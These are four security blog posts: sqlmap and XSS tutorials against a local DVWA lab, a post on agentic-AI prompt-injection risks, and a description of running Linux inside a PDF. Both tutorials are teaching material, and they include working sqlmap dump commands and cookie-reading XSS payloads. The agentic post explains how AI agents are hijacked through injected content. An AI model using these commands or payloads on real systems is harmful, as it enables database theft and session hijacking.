DEV Community: Emin ÜZÜN

SQL Injection with SQLmap on Kali: From Login Form to Database

Emin ÜZÜN — Wed, 21 Oct 2026 22:45:09 +0000

The Sqlmap tool is an open-source tool that automates SQL injection testing.
It can handle what's done manually with a few commands.

SQL injection: simply put, if a web application sends the input it takes from the user straight to the database without filtering it, you can write SQL code there.
It could be a login form, a search box, a URL parameter, etc.
The application runs that code and the data in the database comes out.

Installing Docker and SQLmap

You need to test against a vulnerable application you set up yourself, not a real system.
For this we'll use DVWA (Damn Vulnerable Web Application).
It runs with Docker.

Installation:

sudo apt update && sudo apt install -y docker.io
sudo service docker start

Sqlmap:

sudo apt install -y sqlmap

sqlmap already comes installed on Kali Linux, but it's still worth running this to bring it up to the latest version.

Start DVWA

docker run --rm -d -p 80:80 vulnerables/web-dvwa

The container comes up with a single command.

From your browser, open
http://localhost/login.php

Let's enter the login credentials as admin and password.

On the setup page, click the Create - Reset Database button.

Then log in again. Set the security level to Low from the DVWA Security menu.

Then go to the SQL injection page from the left menu.

sqlmap needs the session cookie so it can act as if it's logged in to the application.

Let's grab the PHPSESSID value from F12 - Application - Cookies - localhost.

List the Databases

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=XXX; security=low" \
  --dbs --batch

--dbs lists the available databases.

If the application is vulnerable, it returns dvwa and information_schema.

Adding --batch makes sqlmap proceed through the test without asking any questions.

To see the tables:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=XXX; security=low" \
  -D dvwa --tables --batch

The dvwa database shows the guestbook and users tables.

To dump the contents:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=...; security=low" \
  -D dvwa -T users --dump --batch

The usernames and MD5 hashes get dumped.
sqlmap automatically tries to crack the hashes with a dictionary attack.
Results like admin/password come back. If someone uses a common password, it finds it right away.

You should only use it on systems you're authorized to test or that you set up yourself. That's what DVWA is for anyway.

Sources:

https://github.com/sqlmapproject/sqlmap
https://github.com/digininja/DVWA

Originally written in Turkish on eminuzun.com. AI was used only for the translation.

From Prompt Injection to Data Leak: Agentic AI Risks

Emin ÜZÜN — Wed, 21 Oct 2026 22:45:08 +0000

When people talked about AI, the focus in most places was on things like model quality, speed, context window.

As of today, the topics being discussed have changed a bit.

Now these are the questions being asked more often:
What does it have access to? What can it do on its own? What information could it leak?

This is exactly where what's called agentic AI comes in.
It can read email. It can search for files inside a repo. It can check the calendar. It can make API calls.

And this is where the risk begins.

In the Global Cybersecurity Outlook 2026 report, 94 percent of respondents say AI will be the factor that changes cybersecurity the most throughout 2026.
87 percent also say that AI-related vulnerabilities are among the fastest-growing risks.

That's why it wouldn't be right to talk about agent security as just a trend. Organizations are seeing a new attack surface.

So what exactly is the problem?
Prompt injection.
In other words, if a document, email or web content the model reads carries a malicious instruction, the agent processes it as if it were a harmless command.

Then comes the data leak issue. When data coming from the user and the system prompt get mixed together, sensitive information can leak out unintentionally.

There's also the privilege side. If you give file system and mail access to an agent that's only supposed to produce a summary, the chain gets unnecessarily long.
And the longer it gets, the bigger the margin for error and the attack surface.

The OWASP Top 10 for Agentic Applications 2026 already names these separately.
Headings like Tool Misuse, Agent Goal Hijack, Memory & Context Poisoning, Identity & Privilege Abuse look a bit different from the classic web application.
Because here the input isn't just the message the user types. An uploaded PDF is input too. JSON coming from an external tool is input too.

If you see an AI agent, look at these three things first:
What can it read? What can it execute? What can it send out?
The broader the answer, the bigger the risk.

As for the defense side, these are the things to pay attention to:
Least privilege.
Logging.
Human approval for critical operations.
Monitoring tool calls separately.
Running tests in places separate from real data.

The model may be very smart, but a single API key connected to the wrong place can break everything.

https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/

https://reports.weforum.org/docs/WEF_Global_Cybersecurity_Outlook_2026.pdf

Originally written in Turkish on eminuzun.com. AI was used only for the translation.

Running Linux Inside a PDF: linuxpdf

Emin ÜZÜN — Tue, 20 Oct 2026 01:22:10 +0000

You open a PDF in your browser, there's a terminal inside, and you can run commands.

Adobe's spec supports JavaScript execution.
If the viewer implements it, JS code embedded in a PDF can run.
So a PDF isn't just a document; it can actually be used as a runtime environment too.
This feature has been actively used in PDF-based attacks for years.
linuxpdf exploits exactly this.

Ading2210 compiled the Linux kernel to WebAssembly using Emscripten.
The resulting WASM binary is embedded inside the PDF.
When the PDF opens, the JavaScript engine runs this WASM and you see a terminal.

ls, cat, echo

Commands like these work.

A real shell experience.

Of course, it has its limitations too. Not every PDF viewer can open it because not all of them support JS execution.
Chrome's built-in viewer behaves in an isolated way and its WASM support isn't complete.
Chromium or Firefox is recommended for the demo.

There's also the performance issue. Every keystroke goes through the WASM runtime, so it can't be as fast as a real terminal.

From a security perspective, what the project demonstrates matters.
PDFs being able to run JavaScript is an old risk, but once it reaches the level of "a full operating system can run inside this", it looks different, of course.
In practice, it can be a good reference point for thinking about how sophisticated a malicious PDF can get.

The project's source code is available on GitHub. The demo PDF opens in the browser without downloading.

Source:

https://github.com/ading2210/linuxpdf

Demo:

https://linux.doompdf.dev/

Originally written in Turkish on eminuzun.com. AI was used only for the translation.

What Is XSS? The Basics and a Hands-On DVWA Demo

Emin ÜZÜN — Tue, 20 Oct 2026 01:22:05 +0000

You type your name into a website, but instead of normal text you leave a small piece of code in that box.

The site doesn't notice. It prints it to the page as is. Then whoever opens that page, the code you left runs in their browser.

That's XSS, in short and in its simplest form.

It stands for Cross-Site Scripting.

Put simply, it's a flaw that comes from a site printing user input to the screen without checking it.

The attacker slips their own JavaScript in, and that code runs in someone else's browser.

Why is it dangerous? Because that code can do pretty much anything. The classic scenario is stealing the user's session, in other words their cookie. A cookie is a small piece of data that tells the site "this person is already logged in." If it gets stolen, the attacker can get into your account.

There are three main types.

The first is reflected XSS.

The malicious code is sent through a link and reflected back on the page. It isn't persistent; the user has to click the link.

The second is stored XSS.

Here the code gets saved in the site's database, in a comment field for example. It runs for everyone who opens the page. The user doesn't click anything; opening the page is enough. That's why stored is usually considered more dangerous.

The third is DOM-based.

This one is a bit different because the code never reaches the server. The page updates itself with JavaScript that's already running in your browser, for example by taking a value from the address bar and printing it to the page. When the attacker fills that value with malicious code, everything still happens in the browser and the server doesn't even know about it. In reflected and stored, the code comes back from the server; in DOM-based, it stays in the browser from start to finish.

We'll see reflected and stored live, because showing the two side by side is the clearest way to explain the difference between the types.

There's an app called DVWA. Damn Vulnerable Web Application is a training app that's left vulnerable on purpose. It runs on your own computer, so you're not touching a real site. We log in as the admin user.

Inside, you can also set the security level. We pick "low" because there's no filtering at all there, which shows the flaw in its clearest form.

Let's start with reflected. The DVWA menu has an "XSS (Reflected)" page. There's a box on the screen that says "What's your name?" Normally you type your name and the site says "Hello CWSpeciaL."

Instead of a name, we type this:

<script>alert('XSS')</script>

The site doesn't check whether this text is dangerous. It prints it to the page. The browser sees it as code, not text, and runs it. A small alert box pops up on the screen.

That box means "code can be injected here." Why does it work? Look at the page source and you'll see it. The script tag we typed is embedded in the page's HTML exactly as we wrote it.

The alert is harmless; it's just proof. But real malicious code could go in the same place. Say we type this into the name box:

<script>alert(document.cookie)</script>

This time the box shows the session data. If an attacker sent this to their own server instead of printing it on screen, they would have stolen your session.

Now let's move on to stored, because this is the really dangerous one.

The "XSS (Stored)" page has a guestbook. You enter a name and a message, and they get saved. We put the cookie payload in the message box.

We hit save. Here's the difference: the code now lives in the database. We close the page and open it again.

It runs again, and the cookie is on the screen again. Nobody clicked a link, nobody typed anything. It fires automatically for everyone who opens the page. That's exactly the difference between reflected and stored.

So how does a developer prevent this? The basic rule is:

Never trust any data that comes from the user.

Apply output encoding before printing anything to the screen. That means turning the < character into a form like < that looks the same but doesn't run. The browser then treats it as plain text, not code. In fact, when you set DVWA to "medium" or "high", these filters kick in and the payload stops working.

There's also a shield called Content Security Policy (CSP). It lets the site say "only run scripts from these sources." Code that gets slipped in runs into that rule.

XSS is an old flaw, but it's still on the OWASP lists. The reason is simple: every new form and every new comment box is a potential entry point. A single unfiltered field is enough.

Sources

https://owasp.org/www-community/attacks/xss/
https://portswigger.net/web-security/cross-site-scripting
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Originally written in Turkish on eminuzun.com. AI was used only for the translation.